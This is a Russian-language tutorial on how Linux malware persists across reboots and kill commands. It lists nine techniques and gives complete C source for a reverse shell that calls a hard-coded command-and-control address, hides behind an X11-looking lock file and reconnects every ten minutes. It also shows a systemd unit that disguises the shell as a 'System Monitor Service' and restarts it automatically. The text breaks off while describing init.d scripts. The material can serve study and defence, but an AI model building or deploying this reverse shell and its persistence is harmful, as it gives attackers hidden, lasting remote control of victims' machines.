При первом запуске вредонос пытается закрепиться в системе, чтобы остаться активным после перезагрузки, выхода из учетной записи или команды kill. Если исходный способ проникновения заблокировать — например сменив пароль или обновив систему, — вредонос уже иметь альтернативный путь для сохранения доступа.

В Linux закрепиться можно множеством способов. Некоторые образцы вредоноса перепробуют разные варианты и выбирают рабочий. Вот девять техник, встречающихся в реальных вредоносах:

  • systemd system service
  • init.d
  • crontab @reboot
  • systemd user timer
  • .bashrc
  • systemd user service
  • XDG Autostart
  • udev rule
  • LD_PRELOAD

Минимальный вредонос

Для демонстрации закрепления напишу простой реверс-шелл. Это программа, устанавливающая обратное соединение: сервер подключается к нам, предоставляя интерактивный шелл.

Вот основной код:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/file.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>

#define C2_IP   "192.168.0.153"
#define C2_PORT 1337

int main(void){
    int lf = open("/tmp/.X11-lock", O_CREAT | O_RDWR, 0600);
    if(lf < 0 || flock(lf, LOCK_EX | LOCK_NB) < 0)
        return 1;

    signal(SIGCHLD, SIG_IGN);

    for(;;){
        int s = socket(AF_INET, SOCK_STREAM, 0);
        struct sockaddr_in sa = {
            .sin_family = AF_INET,
            .sin_port  = htons(C2_PORT),
        };
        inet_pton(AF_INET, C2_IP, &sa.sin_addr);

        if(connect(s, (struct sockaddr *)&sa, sizeof(sa)) == 0){
            if(fork() == 0){
                dup2(s, 0);
                dup2(s, 1);
                dup2(s, 2);
                execl("/bin/bash", "bash", NULL);
            }
        }
        close(s);
        sleep(600);
    }
}

Программа открывает файл /tmp/.X11-lock и ставит на него эксклюзивную блокировку через flock. Если файл уже заблокирован, копия работает, и мы молча выходим. Так гарантируется, что одновременно работает только один экземпляр. Имя файла выбрано маскирующимся под X11 — в /tmp такие файлы никого не удивят.

SIGCHLD устанавливаем в SIG_IGN, чтобы завершившиеся дочерние процессы не становились зомби. Затем запускаем бесконечный цикл: пытаемся подключиться к командному серверу, при успехе вызываем fork(). Дочерний процесс получает шелл через dup2 и execl, родительский закрывает сокет, ждет десять минут и пробует снова. Если оператор отключится, через десять минут придет новое соединение.

Собираем и кладем в /opt:

gcc -o poc poc.c -O3
strip poc
cp poc /opt/poc

На своей машине запускаем слушатель на порту 1337.

Запуск при загрузке системы

systemd service

Самый прямолинейный способ. Создаем юнит-файл в /etc/systemd/system/, и systemd будет запускать бинарник при каждой загрузке. Название выбираем неброское: например, not_malware.

Конфиг для not_malware.service:

[Unit]
Description=System Monitor Service
After=network.target

[Service]
Type=simple
ExecStart=/opt/poc
Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target

After=network.target ждет готовности сети, иначе реверс-шелл попытается подключиться до готовности интерфейса. Restart=always плюс RestartSec=10 означают: если процесс завершится (например через kill), systemd переза­пус­тит его через десять секунд. WantedBy=multi-user.target включает сервис в обычный многопользовательский режим, то есть при практически любой загрузке.

Активируем:

systemctl daemon-reload
systemctl enable --now not_malware.service

Флаг --now сразу запускает сервис. Проверяем статус:

systemctl status not_malware.service

Сервис активен и будет запускаться при каждой загрузке. Для проверки переза­пуска найдем процесс, убьем его и посмотрим, запустится ли снова:

$ ps aux | grep poc
root        4536  0.0  0.0   2472  1024 ?        Ss   23:08   0:00 /opt/poc
$ sudo kill 4536
$ ps aux | grep poc
root        4618  0.0  0.0   2472  1024 ?        Ss   23:14   0:00 /opt/poc

Работает. Но способ замет­ный: юнит-файл лежит открыто, а команда systemctl list-unit-files --state=enabled покажет вклю­чен­ный сервис.

Чтобы удалить сервис:

systemctl disable --now not_malware.service
rm /etc/systemd/system/not_malware.service
systemctl daemon-reload

init.d

До появления systemd в Linux использовали SysVinit. Сервисы описывались скриптами оболочки в /etc/init.d/. Каждый скрипт должен был обрабатывать аргументы start, stop и restart. Команда service передавала скриптам эти аргументы.

В SysVinit режимы работы системы называют runlevel. Основные: 0 (выключение), 1 (однопользовательский), 2–5 (обычная работа), 6 (перезагрузка).

Для каждого уровня запуска есть свой каталог: /etc/rc.d/rc0.d/ до /etc/rc.d/rc6.d/ (в Debian они в /etc/ напрямую). Внутри — символические ссылки на скрипты из /etc/init.d/. Ссылка вида S99not_malware означает «запустить на этом уровне», K01not_malware означает «остановить».